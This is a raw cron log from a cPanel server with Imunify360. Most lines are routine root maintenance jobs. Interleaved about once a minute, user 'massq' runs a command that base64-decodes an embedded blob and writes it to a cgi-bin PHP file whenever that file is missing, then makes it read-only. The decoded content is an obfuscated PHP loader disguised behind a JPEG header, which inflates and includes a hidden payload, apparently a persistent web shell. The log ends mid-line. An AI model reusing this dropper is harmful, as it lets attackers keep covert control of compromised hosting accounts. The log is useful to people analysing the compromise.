Sep  5 02:15:01 server CROND[7942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:15:01 server CROND[7945]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:15:01 server CROND[7944]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:15:01 server CROND[7952]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:15:01 server CROND[7954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:15:01 server CROND[7951]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 02:15:01 server CROND[7956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:15:01 server CROND[7950]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 02:16:01 server CROND[8890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:16:01 server CROND[8891]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:16:01 server CROND[8892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:17:01 server CROND[9313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:17:01 server CROND[9312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:17:01 server CROND[9314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:18:01 server CROND[9697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:18:01 server CROND[9696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:18:01 server CROND[9698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:19:01 server CROND[10077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:19:01 server CROND[10078]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:19:01 server CROND[10076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:20:01 server CROND[10464]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:20:01 server CROND[10466]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 02:20:02 server CROND[10470]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:20:02 server CROND[10471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:20:02 server CROND[10468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:20:02 server CROND[10475]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 02:20:02 server CROND[10474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:20:02 server CROND[10484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:20:02 server CROND[10476]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:21:01 server CROND[11453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:21:01 server CROND[11454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:21:01 server CROND[11455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:22:01 server CROND[11835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:22:01 server CROND[11836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:22:01 server CROND[11837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:23:01 server CROND[12216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:23:01 server CROND[12215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:23:01 server CROND[12217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:24:01 server CROND[12621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:24:01 server CROND[12622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:24:01 server CROND[12623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:25:01 server CROND[13008]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 02:25:01 server CROND[13009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:25:01 server CROND[13012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:25:01 server CROND[13017]: (root) CMD (   /usr/bin/tmpwatch 168 /var/imunify360/tmp_cleanup > /dev/null 2>&1 || :)
Sep  5 02:25:01 server CROND[13018]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 02:25:01 server CROND[13020]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 02:25:01 server CROND[13022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 02:25:01 server CROND[13016]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 02:25:01 server CROND[13019]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 02:26:01 server CROND[13988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; 